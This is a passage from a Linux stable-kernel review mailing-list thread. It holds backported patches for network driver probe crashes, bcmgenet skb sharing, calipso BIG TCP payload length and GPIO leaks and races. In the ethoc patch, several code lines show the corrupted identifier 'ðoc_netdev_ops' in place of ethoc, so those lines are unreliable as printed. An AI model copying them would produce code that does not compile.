before netdev->netdev_ops is assigned. phy_attach_direct() ->
phy_link_topo_add_phy() reads dev->netdev_ops through
netdev_need_ops_lock() since the commit in question, so probing crashes
with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
Link: https://patch.msgid.link/20261008022656.3592191-4-mmyangfl@gmail.com
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/actions/owl-emac.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/actions/owl-emac.c b/drivers/net/ethernet/actions/owl-emac.c
index 0a08da799255b..2538275a1e576 100644
--- a/drivers/net/ethernet/actions/owl-emac.c
+++ b/drivers/net/ethernet/actions/owl-emac.c
@@ -1552,6 +1552,8 @@ static int owl_emac_probe(struct platform_device *pdev)
return ret;
}
+ netdev->netdev_ops = &owl_emac_netdev_ops;
+
ret = owl_emac_phy_init(netdev);
if (ret) {
dev_err(dev, "failed to initialize PHY\n");
@@ -1563,7 +1565,6 @@ static int owl_emac_probe(struct platform_device *pdev)
netdev->min_mtu = OWL_EMAC_MTU_MIN;
netdev->max_mtu = OWL_EMAC_MTU_MAX;
netdev->watchdog_timeo = OWL_EMAC_TX_TIMEOUT;
- netdev->netdev_ops = &owl_emac_netdev_ops;
netdev->ethtool_ops = &owl_emac_ethtool_ops;
netif_napi_add(netdev, &priv->napi, owl_emac_poll);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 078/242] net: mv643xx: move setting of netops to fix crash
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (76 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 077/242] net: ethernet: actions: " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 079/242] net: au1000: " Greg Kroah-Hartman
` (163 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Daniel Machon,
Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit a3eef3d2cca032d8768b5eb07aab0f46b79bfd8a ]
mv643xx_eth_probe() connects the PHY before dev->netdev_ops is
assigned. phy_attach_direct() -> phy_link_topo_add_phy() reads
dev->netdev_ops through netdev_need_ops_lock() since the commit in
question, so probing crashes with a NULL pointer dereference when
CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Daniel Machon <daniel.machon@microchip.com>
Link: https://patch.msgid.link/20261008022656.3592191-6-mmyangfl@gmail.com
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/marvell/mv643xx_eth.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/marvell/mv643xx_eth.c b/drivers/net/ethernet/marvell/mv643xx_eth.c
index 1881583be5ce2..5b2546aa5b7a6 100644
--- a/drivers/net/ethernet/marvell/mv643xx_eth.c
+++ b/drivers/net/ethernet/marvell/mv643xx_eth.c
@@ -3171,6 +3171,8 @@ static int mv643xx_eth_probe(struct platform_device *pdev)
netif_set_real_num_tx_queues(dev, mp->txq_count);
netif_set_real_num_rx_queues(dev, mp->rxq_count);
+ dev->netdev_ops = &mv643xx_eth_netdev_ops;
+
err = 0;
if (pd->phy_node) {
phydev = of_phy_connect(mp->dev, pd->phy_node,
@@ -3221,8 +3223,6 @@ static int mv643xx_eth_probe(struct platform_device *pdev)
}
dev->irq = irq;
- dev->netdev_ops = &mv643xx_eth_netdev_ops;
-
dev->watchdog_timeo = 2 * HZ;
dev->base_addr = 0;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 079/242] net: au1000: move setting of netops to fix crash
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (77 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 078/242] net: mv643xx: move " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 080/242] net: ethoc: " Greg Kroah-Hartman
` (162 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Maxime Chevallier,
Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit beabbafdd0f6779813a7656baa1b412b19bda911 ]
au1000_probe() calls au1000_mii_probe(), which connects the PHY,
before dev->netdev_ops is assigned. phy_attach_direct() ->
phy_link_topo_add_phy() reads dev->netdev_ops through
netdev_need_ops_lock() since the commit in question, so probing crashes
with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
Link: https://patch.msgid.link/20261008022656.3592191-7-mmyangfl@gmail.com
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/amd/au1000_eth.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/amd/au1000_eth.c b/drivers/net/ethernet/amd/au1000_eth.c
index 5a04056e38fa3..8682323d693f8 100644
--- a/drivers/net/ethernet/amd/au1000_eth.c
+++ b/drivers/net/ethernet/amd/au1000_eth.c
@@ -1225,6 +1225,8 @@ static int au1000_probe(struct platform_device *pdev)
goto err_mdiobus_reg;
}
+ dev->netdev_ops = &au1000_netdev_ops;
+
err = au1000_mii_probe(dev);
if (err != 0)
goto err_out;
@@ -1263,7 +1265,6 @@ static int au1000_probe(struct platform_device *pdev)
dev->base_addr = base->start;
dev->irq = irq;
- dev->netdev_ops = &au1000_netdev_ops;
dev->ethtool_ops = &au1000_ethtool_ops;
dev->watchdog_timeo = ETH_TX_TIMEOUT;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 080/242] net: ethoc: move setting of netops to fix crash
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (78 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 079/242] net: au1000: " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 082/242] net: ti: icssm-prueth: Move " Greg Kroah-Hartman
` (161 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Maxime Chevallier,
Daniel Machon, Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit c9f8ce62a5faa73515ff5457716bd7306d20fd93 ]
ethoc_probe() calls ethoc_mdio_probe(), which connects the PHY,
before netdev->netdev_ops is assigned. phy_attach_direct() ->
phy_link_topo_add_phy() reads dev->netdev_ops through
netdev_need_ops_lock() since the commit in question, so probing crashes
with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
Reviewed-by: Daniel Machon <daniel.machon@microchip.com>
Link: https://patch.msgid.link/20261008022656.3592191-8-mmyangfl@gmail.com
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/ethoc.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/ethoc.c b/drivers/net/ethernet/ethoc.c
index 0c418557264c2..e5b7df43e8f61 100644
--- a/drivers/net/ethernet/ethoc.c
+++ b/drivers/net/ethernet/ethoc.c
@@ -1211,6 +1211,8 @@ static int ethoc_probe(struct platform_device *pdev)
goto free3;
}
+ netdev->netdev_ops = ðoc_netdev_ops;
+
ret = ethoc_mdio_probe(netdev);
if (ret) {
dev_err(&netdev->dev, "failed to probe MDIO bus\n");
@@ -1218,7 +1220,6 @@ static int ethoc_probe(struct platform_device *pdev)
}
/* setup the net_device structure */
- netdev->netdev_ops = ðoc_netdev_ops;
netdev->watchdog_timeo = ETHOC_TIMEOUT;
netdev->features |= 0;
netdev->ethtool_ops = ðoc_ethtool_ops;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 081/242] net: ethernet: aeroflex: move setting of netops to fix crash
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
0 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Maxime Chevallier,
Andreas Larsson, Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit d71483f0716e7ae98578817bfdc8a5b822d250f8 ]
greth_of_probe() calls greth_mdio_init(), which connects the PHY,
before dev->netdev_ops is assigned. phy_attach_direct() ->
phy_link_topo_add_phy() reads dev->netdev_ops through
netdev_need_ops_lock() since the commit in question, so probing crashes
with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
Acked-by: Andreas Larsson <andreas@gaisler.com>
Link: https://patch.msgid.link/20261008022656.3592191-9-mmyangfl@gmail.com
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/aeroflex/greth.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/aeroflex/greth.c b/drivers/net/ethernet/aeroflex/greth.c
index a593adc16c78a..fccb67beebee1 100644
--- a/drivers/net/ethernet/aeroflex/greth.c
+++ b/drivers/net/ethernet/aeroflex/greth.c
@@ -1421,6 +1421,8 @@ static int greth_of_probe(struct platform_device *ofdev)
/* Check if MAC can handle MDIO interrupts */
greth->mdio_int_en = (tmp >> 26) & 1;
+ dev->netdev_ops = &greth_netdev_ops;
+
err = greth_mdio_init(greth);
if (err) {
if (netif_msg_probe(greth))
@@ -1498,7 +1500,6 @@ static int greth_of_probe(struct platform_device *ofdev)
dev->flags &= ~IFF_MULTICAST;
}
- dev->netdev_ops = &greth_netdev_ops;
dev->ethtool_ops = &greth_ethtool_ops;
err = register_netdev(dev);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 082/242] net: ti: icssm-prueth: Move setting of netops to fix crash
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (79 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 080/242] net: ethoc: " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 083/242] net: bcmgenet: unshare the skb before writing the control block Greg Kroah-Hartman
` (160 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Yang, Maxime Chevallier,
Jijie Shao, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Yang <mmyangfl@gmail.com>
[ Upstream commit 955bb7cf680d8699ce94c73539af882840a9be43 ]
icssm_prueth_netdev_init() calls of_phy_get_and_connect() before
ndev->netdev_ops is assigned. phy_attach_direct() ->
phy_link_topo_add_phy() reads dev->netdev_ops through
netdev_need_ops_lock() since the commit in question, so probing crashes
with a NULL pointer dereference when CONFIG_NET_SHAPER is enabled.
Assign netdev_ops before the PHY attach, as was done for emac in commit
7c9f391ec89c ("net: emac: move setting of netops to fix crash").
Fixes: ded86da4bbb7 ("net: ethtool: relax ethnl_req_get_phydev() locking assertion")
Signed-off-by: David Yang <mmyangfl@gmail.com>
Reviewed-by: Maxime Chevallier <maxime.chevallier@bootlin.com>
Link: https://patch.msgid.link/20261008022656.3592191-10-mmyangfl@gmail.com
Reviewed-by: Jijie Shao <shaojijie@huawei.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/ti/icssm/icssm_prueth.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/ti/icssm/icssm_prueth.c b/drivers/net/ethernet/ti/icssm/icssm_prueth.c
index b7e94244355a3..b42c98e861e08 100644
--- a/drivers/net/ethernet/ti/icssm/icssm_prueth.c
+++ b/drivers/net/ethernet/ti/icssm/icssm_prueth.c
@@ -1563,6 +1563,8 @@ static int icssm_prueth_netdev_init(struct prueth *prueth,
}
ether_addr_copy(emac->mac_addr, ndev->dev_addr);
+ ndev->netdev_ops = &emac_netdev_ops;
+
/* connect PHY */
emac->phydev = of_phy_get_and_connect(ndev, eth_node,
icssm_emac_adjust_link);
@@ -1590,7 +1592,6 @@ static int icssm_prueth_netdev_init(struct prueth *prueth,
}
ndev->dev.of_node = eth_node;
- ndev->netdev_ops = &emac_netdev_ops;
netif_napi_add(ndev, &emac->napi, icssm_emac_napi_poll);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 083/242] net: bcmgenet: unshare the skb before writing the control block
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (80 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 082/242] net: ti: icssm-prueth: Move " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 084/242] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr() Greg Kroah-Hartman
` (159 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Nicolai Buchwitz, Florian Fainelli,
Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nicolai Buchwitz <nb@tipi-net.de>
[ Upstream commit 89771ce4f8f67dcffae561b2ccac95c0f6e3aa01 ]
bcmgenet stores first_cb, last_cb and bytes_sent in the skb control
block and reads them back on completion to free the skb and credit BQL.
ether_setup() leaves IFF_TX_SKB_SHARING set, so the stack can resubmit
a shared skb that is still in the ring. The next transmit overwrites
last_cb, so the earlier slots complete without crediting their bytes
and BQL stalls the queue until the watchdog resets it.
Unshare the skb before writing the control block.
Reproduce with pktgen in clone_skb mode, which hands the driver the same
skb while earlier copies are still in the ring:
modprobe pktgen
pg=/proc/net/pktgen
echo "add_device eth0" > $pg/kpktgend_0
echo "dst_mac AA:BB:CC:DD:EE:FF" > $pg/eth0
echo "dst 192.0.2.1" > $pg/eth0
echo "clone_skb 8" > $pg/eth0
echo "count 0" > $pg/eth0
echo start > $pg/pgctrl &
sleep 5
echo stop > $pg/pgctrl
wait
cat /sys/class/net/eth0/queues/tx-0/byte_queue_limits/inflight
inflight stays nonzero on the now idle queue. clone_skb 0 leaves it at
zero.
Fixes: f48bed16a756 ("net: bcmgenet: Free skb after last Tx frag")
Signed-off-by: Nicolai Buchwitz <nb@tipi-net.de>
Reviewed-by: Florian Fainelli <florian.fainelli@broadcom.com>
Link: https://patch.msgid.link/20261009-nb-genet-shared-skb-net-v1-1-c6d0a841977d@tipi-net.de
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/broadcom/genet/bcmgenet.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/drivers/net/ethernet/broadcom/genet/bcmgenet.c b/drivers/net/ethernet/broadcom/genet/bcmgenet.c
index e8908916558b1..f4cfbff49a1b8 100644
--- a/drivers/net/ethernet/broadcom/genet/bcmgenet.c
+++ b/drivers/net/ethernet/broadcom/genet/bcmgenet.c
@@ -2153,6 +2153,16 @@ static netdev_tx_t bcmgenet_xmit(struct sk_buff *skb, struct net_device *dev)
goto out;
}
+ /* We store Tx state in the control block, so the skb must not be
+ * shared, but ether_setup() leaves IFF_TX_SKB_SHARING set.
+ */
+ skb = skb_share_check(skb, GFP_ATOMIC);
+ if (!skb) {
+ BCMGENET_STATS64_INC((&ring->stats64), dropped);
+ ret = NETDEV_TX_OK;
+ goto out;
+ }
+
/* Retain how many bytes will be sent on the wire, without TSB inserted
* by transmit checksum offload
*/
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 084/242] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (81 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 083/242] net: bcmgenet: unshare the skb before writing the control block Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 085/242] gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths Greg Kroah-Hartman
` (158 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Eric Dumazet, Wang Zhan,
Joas Antonio dos Santos, Paul Moore, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Joas Antonio dos Santos <joasantonio108@gmail.com>
[ Upstream commit 8070ed578b6b9134e045627fb745c887a806d46e ]
calipso_skbuff_setattr() adjusts payload_len by the length of the
option it inserts or resizes:
payload = ntohs(ip6_hdr->payload_len);
ip6_hdr->payload_len = htons(payload + len_delta);
GRO can build BIG TCP packets larger than IPV6_MAXPLEN, and stores
payload_len == 0 for them; ipv6_payload_len() then falls back to
skb->len. For such a packet forwarded to a destination mapped to
CALIPSO, the code above writes len_delta (or 65536 + len_delta when
shrinking) into payload_len, and ipv6_payload_len() no longer falls
back to skb->len. nf_tables, conntrack and sch_cake rely on it.
The same arithmetic also wraps when a packet grows past IPV6_MAXPLEN,
and a BIG TCP packet that shrinks below IPV6_MAXPLEN should get its
real length back.
Set payload_len from the skb length with ipv6_set_payload_len(), which
stores 0 above IPV6_MAXPLEN and the real length otherwise, as
ipv6_gro_complete() does. The network header was just reset to
skb->data, so skb->len - sizeof(*ip6_hdr) is the payload length.
Tested on one kernel (arm64, QEMU) with SELinux permissive, a minimal
mdp-generated policy (network_peer_controls=1), "netlabelctl calipso
add pass doi:16" and a NetLabel mapping of fd00:2::/64 to CALIPSO
DOI 16. calipso_skbuff_setattr() was called through
netlbl_skbuff_setattr() from a test-only debugfs hook (not part of
this patch) adding a level-only label; payload_len after the call:
case before fix after fix real length
1000, unlabeled 1016 1016 1016
70000 GSO, payload_len 0 16 0 70016
65530 GSO, grows past MAXPLEN 10 0 65546
65540 GSO with a 24 byte hop
header, shrinks below MAXPLEN 65528 65532 65532
1000 with a 24 byte hop header 992 992 992
(0 means ipv6_payload_len() returns the real length.) On the forward
path, with a client injecting unlabeled UDP through a router to a
server, the router adds the CALIPSO option and the server delivers all
datagrams (Udp6InDatagrams 5, Ip6InTruncatedPkts 0) with this patch.
Fixes: 81fbc812132c ("ipv6/gro: insert temporary HBH/jumbo header")
Suggested-by: Eric Dumazet <edumazet@kernel.org>
Suggested-by: Wang Zhan <wang.zhan@smartx.com>
Signed-off-by: Joas Antonio dos Santos <joasantonio108@gmail.com>
Assisted-by: Claude:claude-opus-5-5
Reviewed-by: Wang Zhan <wang.zhan@smartx.com>
Acked-by: Paul Moore <paul@paul-moore.com>
Link: https://patch.msgid.link/179156155963.36253.400481753322266658@gmail.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/ipv6/calipso.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/net/ipv6/calipso.c b/net/ipv6/calipso.c
index c6a34334e657e..a0192b4fef334 100644
--- a/net/ipv6/calipso.c
+++ b/net/ipv6/calipso.c
@@ -1318,7 +1318,7 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
struct ipv6hdr *ip6_hdr;
struct ipv6_opt_hdr *hop;
unsigned char buf[CALIPSO_MAX_BUFFER];
- int len_delta, new_end, pad, payload;
+ int len_delta, new_end, pad;
unsigned int start, end;
ip6_hdr = ipv6_hdr(skb);
@@ -1357,8 +1357,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
sizeof(*ip6_hdr) + start);
skb_reset_network_header(skb);
ip6_hdr = ipv6_hdr(skb);
- payload = ntohs(ip6_hdr->payload_len);
- ip6_hdr->payload_len = htons(payload + len_delta);
+ /* 0 above IPV6_MAXPLEN (BIG TCP), the real length otherwise */
+ ipv6_set_payload_len(ip6_hdr, skb->len - sizeof(*ip6_hdr));
}
hop = (struct ipv6_opt_hdr *)(ip6_hdr + 1);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 085/242] gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (82 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 084/242] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr() Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 086/242] gpio: mxc: fix race between chained IRQ handler install and probe completion Greg Kroah-Hartman
` (157 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sashiko, Kent Gibson,
Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kent Gibson <warthog618@gmail.com>
[ Upstream commit c28846ca1ac6134881114d272314623c8433e372 ]
A drive-by review by Sashiko reports that, after a failed call to
gpiochip_set_multiple(), gpiod_set_array_value() returns abruptly,
bypassing the freeing of possibly alloced bitmaps, potentially leaking
memory. It is an unlikely error path, but is possible.
Defer the return code check until after the bitmap_free() block.
Fixes: 9b407312755f ("gpiolib: rework the wrapper around gpio_chip::set_multiple()")
Reported-by: Sashiko <sashiko-bot@kernel.org>
Link: https://lore.kernel.org/linux-gpio/sashiko-outbox-168233@kernel.org/
Signed-off-by: Kent Gibson <warthog618@gmail.com>
Link: https://patch.msgid.link/20261015025749.47039-1-warthog618@gmail.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpiolib.c | 9 +++++----
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpiolib.c b/drivers/gpio/gpiolib.c
index 28f7265c5d569..6e8bcf0d9da00 100644
--- a/drivers/gpio/gpiolib.c
+++ b/drivers/gpio/gpiolib.c
@@ -3954,16 +3954,17 @@ int gpiod_set_array_value_complex(bool raw, bool can_sleep,
} while ((i < array_size) &&
gpio_device_chip_cmp(desc_array[i]->gdev, guard.gc));
/* push collected bits to outputs */
- if (count != 0) {
+ ret = 0;
+ if (count != 0)
ret = gpiochip_set_multiple(guard.gc, mask, bits);
- if (ret)
- return ret;
- }
if (mask != fastpath_mask)
bitmap_free(mask);
if (bits != fastpath_bits)
bitmap_free(bits);
+
+ if (ret)
+ return ret;
}
return 0;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 086/242] gpio: mxc: fix race between chained IRQ handler install and probe completion
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (83 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 085/242] gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 087/242] gpio: mxc: fix both_edges bit operations Greg Kroah-Hartman
` (156 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Li, Peng Fan, Linus Walleij,
Andy Shevchenko, Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit 38d44f78f041ffe60c8e2443b99434a199e7541d ]
mxc_update_irq_chained_handler() is called before the IRQ domain, the
generic IRQ chip, and the port list entry are set up. If an interrupt
arrives in that window:
- mx3_gpio_irq_handler() calls generic_handle_domain_irq() with
port->domain still NULL.
- mx2_gpio_irq_handler() walks mxc_gpio_ports, but the port has not
been added to the list yet.
Additionally, if any of the subsequent probe steps
(gpio_generic_chip_init(), devm_gpiochip_add_data(),
irq_domain_create_legacy(), or mxc_gpio_init_gc()) fail, the error
paths never unregister the chained handler, leaving a dangling handler
that points at freed memory.
Move the handler installation after all its dependencies are ready and
after list_add_tail(), so the handler is never live while the data
structures it touches are incomplete, and is never installed if probe
fails.
Fixes: 5f6d1998adeb ("gpio: mxc: release the parent IRQ in runtime suspend")
Assisted-by: LLM
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Linus Walleij <linusw@kernel.org>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-1-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index 7e2690d92df6f..e05f276a50e8d 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -474,8 +474,6 @@ static int mxc_gpio_probe(struct platform_device *pdev)
} else
port->mx_irq_handler = mx3_gpio_irq_handler;
- mxc_update_irq_chained_handler(port, true);
-
config.dev = &pdev->dev;
config.sz = 4;
config.dat = port->base + GPIO_PSR;
@@ -525,6 +523,8 @@ static int mxc_gpio_probe(struct platform_device *pdev)
list_add_tail(&port->node, &mxc_gpio_ports);
+ mxc_update_irq_chained_handler(port, true);
+
platform_set_drvdata(pdev, port);
pm_runtime_put_autosuspend(&pdev->dev);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 087/242] gpio: mxc: fix both_edges bit operations
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (84 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 086/242] gpio: mxc: fix race between chained IRQ handler install and probe completion Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 088/242] gpio: mxc: fix wakeup_pads " Greg Kroah-Hartman
` (155 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Li, Peng Fan, Linus Walleij,
